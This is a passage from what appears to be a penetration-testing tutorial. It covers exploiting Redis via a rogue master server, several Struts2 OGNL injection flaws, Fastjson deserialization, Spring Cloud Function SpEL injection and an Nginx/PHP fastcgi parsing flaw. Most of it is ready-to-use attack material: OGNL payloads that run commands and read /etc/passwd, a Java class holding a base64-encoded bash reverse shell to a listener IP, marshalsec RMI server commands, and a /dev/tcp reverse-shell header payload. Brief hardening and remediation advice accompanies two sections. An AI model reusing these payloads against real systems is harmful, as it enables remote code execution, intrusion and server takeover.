3. 1. nc -lvnp 1234
3. Start the master server on port 15000.
4. 1. python3 redis_rogue_server.py -v -path exp.so -v # Verbose mode, only starts the Rogue Server
4. Log into Redis locally on the target and enable master-slave mode.
5. 1. redis-cli
5. Check whether any modules exist — as you can see, there are none available yet.
6. 1. module list
   2. config set dir /tmp
   3. // The tmp directory usually grants write access, so we write into it.
   4. config set dbfilename exp.so
   5. // Set the name of the file to export
   6. slaveof 192.168.190.128 15000
   7. // Perform master-slave sync, writing the malicious .so file into the tmp directory
   8. module load ./exp.so
   9. // Load the written malicious .so module
   10. module list
   11. // Check that the malicious .so loaded successfully — mainly look for "system"
6. Reverse shell
7. 1. system.rev 192.168.190.128 1234
7. Disable master-slave replication
8. 1. slaveof NO ONE
8. Further research

6.6 Security hardening

Redis security settings: after configuring, reload the config file to restart Redis.

• 1. Bind an internal IP address for access
• 2. Set a Redis password with requirepass
• 3. Enable protected mode (enabled by default)
• 4. Ideally, change the port
• 5. Create a dedicated non-privileged account for Redis and start Redis with it.

7. Struts2

7.1 S2-001 command execution

7.1.1 Vulnerability details

• This vulnerability arises because when a user submits form data and validation fails, the backend re-parses the previously submitted parameter values using the OGNL expression %{value} and re-fills them into the corresponding form fields. For example, on a registration or login page, a failed submission usually returns the previously submitted data by default. Since the backend runs an OGNL expression parse on the submitted data via %{value}, this enables crafting a payload for direct command execution.

7.1.2 Vulnerability detection

• Enter '%{1+1}' in the login field. If that spot turns into '2' after the login is processed, it means a command execution vulnerability exists.

7.1.3 Exploitation

• Get the web path, payload:
• • %{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
• Command execution with whoami, payload:
• • %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
• Command execution with cat /etc/passwd
• • %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

7.2 S2-005 command execution

7.2.1 Vulnerability details

The S2-005 vulnerability originates from S2-003 (affected versions: below Struts 2.0.12). Struts2 parses each HTTP parameter name as an OGNL statement to execute (think of it as Java code). OGNL expressions access Struts objects through #, and the Struts framework filters the # character to prevent security issues. However, by using Unicode encoding (\u0023) or octal (\43), the security restriction is bypassed. For S2-003, the vendor patched it by adding a security configuration (disabling static method calls and class method execution, etc.), but the security configuration itself was bypassed, leading to the vulnerability again. An attacker could use an OGNL expression to flip these two options back open. In other words, the S2-003 patch effectively locked the door, but left the key inserted in the lock — the security options that were meant to be disabled could be re-enabled through the whitelisted OGNL expression.

Summary

• When Struts2 processes a user request, it calls the interceptor ParametersInterceptor.setParameters to load the parameters. When loading the data stack, it runs a regex check on the incoming parameter names for illegal characters. Then it executes stack.setValue(name, value) to further parse the name value, so the incoming expressions are evaluated one by one, resulting in the injection.

7.2.2 Exploitation

• Generally, if you see a path ending in .action, you can drop the URL into an all-versions Struts2 vulnerability scanner. That tool can automatically scan for the vulnerability and also run commands, upload files, and browse directories.

7.3 S2-007 command execution

7.3.1 Exploitation

• In a field that accepts input, enter '+(1+1)+'. If after submission it turns into '11', the vulnerability exists.
• Command execution
• • Just enter the payload into the input field.

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

7.4 S2-008

7.4.1 Vulnerability details

• This mainly exploits the lack of strict validation on incoming parameters, allowing malicious code to execute in several places. Passing ?debug=command&expression= allows you to run OGNL expressions.

7.4.2 Exploitation

• Arbitrary file overwrite
• • exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
• Remote command execution
• • debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
• Check ipconfig
• • debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)

8. Fastjson

8.1 How to determine whether it is fastjson

• Capture the traffic and check whether the request is JSON. If it is, try constructing or breaking the original JSON request and see whether the response contains the word "fastjson". fastjson only parses input that follows a strict format and otherwise raises an error. If there is no error echo, you can verify with a dnslog.
• You can determine the fastjson version from the payload used later.
• • Set[ { "@type":"java.net.URL", "val":"http://dnslog" } ]
• Verify using dnslog
• • { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://dnslog.cn/zcc", "autoCommit":true } }

8.2 Deserialization

8.2.1 Vulnerability details

• The vulnerability exploits the fact that, when fastjson autotype processes a JSON object, it does not fully validate the @type field for safety. An attacker can pass in a dangerous class and have it connect to a remote RMI host, executing code through a malicious class on that host. In this way an attacker can achieve remote code execution, obtain sensitive information from the server, and even further modify, add, or delete data on the server, causing major impact.

8.2.2 Prerequisites

• The target server uses fastjson.
• User-supplied data is not strictly filtered.

8.2.3 Exploitation

• Start capturing traffic to confirm whether the app uses the fastjson framework, and determine it by modifying the request packet, since fastjson only parses input that follows a strict format and otherwise raises an error.
• Prepare a malicious class, rmi.class, whose contents are shown in the expanded section below. Compile rmi.java with javac to generate a class file: javac rmi.java
• • import java.lang.Runtime; import java.lang.Process; public class rmi{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } //YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE= is the IP address and port of the listening host.
• Place the class file on the listening server and use a tool to run the RMI payload, shown in the expanded section below.
• • payload: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.44.170/#rmi" 9999
• Modify the body of the POST request in the packet.
• • {"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.44.170:9999/rmi.class", "autoCommit":true}}
• Listen on the port with nc -nvlp 6666
• Forward the packet and the reverse shell should succeed.

9. Spring Cloud

9.1 Introduction to Spring Cloud

Spring Cloud is a development framework based on Spring Boot for building and deploying distributed systems. It provides a set of tools and frameworks that help developers rapidly build cloud-native applications, along with robust capabilities such as service governance, load balancing, routing, and configuration management. Spring Cloud simplifies the development and deployment of microservices, improving development efficiency and software quality.

9.2 SpEL Remote Code Execution Vulnerability (2022)

9.2.1 Vulnerability details

• When using the routing feature, users can supply a specially crafted SpEL expression as the routing expression, which may lead to remote code execution and access to local resources.

9.2.2 Vulnerability principle

• The apply method of the RoutingFunction class in Spring Cloud processes the "spring.cloud.function.routing-expression" parameter from the request header as a SpEL expression, causing SpEL expression injection. An attacker can invoke the runtime().getRuntime() method to execute system commands, leading to remote code execution or information disclosure.

9.2.3 Affected versions

• 3.0.0 <= Spring Cloud Function <= 3.2.2

9.2.4 Exploitation

• Capture the packet.
• Change the packet to POST /functionRuntime and add the request header spring.cloud.function.routiong-expression, then place the Java code inside it. Note that when executing a reverse shell you need to base64-encode it, otherwise it will not succeed. An example payload is shown in the expanded section below.
• • POST /functionRuntime HTTP/1.1 HOST: User-Agent: spring.cloud.function.routiong-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,bash -i &> /dev/tcp/ip/port 0>&1}|{base64,-d}|{bash -i}") Note: the bash -i &> /dev/tcp/ip/port 0>&1 part needs to be base64-encoded before being sent.

9.2.5 Remediation

• Upgrade to the latest version of the Spring framework.
• Avoid using SpEL expressions in your application, or restrict their use. Prefer static binding to accomplish the corresponding functionality.
• For scenarios where SpEL is required, strictly validate and filter the input, accepting only well-formed, predictable input. When constructing SpEL expressions, user input should not be used directly as part of the expression; instead, validate and encode the input strictly to prevent injection attacks.
• Disable all unnecessary SpEL features and restrict the operations SpEL is allowed to perform.

10. Nginx Parsing Vulnerability

10.1.1 Vulnerability details

• When Nginx is configured to use PHP with fastcgi, there is a file parsing issue.
• The root cause of this vulnerability is related to how PHP obtains environment variables under fastcgi. A key option in the PHP configuration file is cgi.fix_pathinfo = 1, and this option is enabled by default. When mapping the URI, PHP recursively walks the path to confirm the file's validity. If notexist.php does not exist, it keeps searching backward along the path. This feature was originally intended to let a URL like /info.php/test correctly resolve to info.php. At this point, SCRIPT_FILENAME needs to check whether the file exists, so it ends up as /path/test.jpg; meanwhile PATH_INFO is still notexist.php. When the script is finally executed, test.jpg is parsed as PHP.
• When PHP encounters a file path like "/aaa.xxx/bbb.yyy/ccc.zzz", if "/aaa.xxx/bbb.yyy/ccc.zzz" does not exist, it strips the trailing "/ccc.zzz" and checks whether "/aaa.xxx/bbb.yyy" exists. If it does, it treats the directory "/aaa.xxx/bbb.yyy" as if it were the full path file "/aaa.xxx/bbb.yyy/ccc.zzz".

10.1.2 Payload

• http://www.test.com/path/test.jpg/notexist.php
• Here notexist.php does not actually exist. If you upload an image to any PHP application configured with fastcgi and the image content is a PHP file, it will result in code execution. The same applies to other uploadable legitimate files such as text files and archives.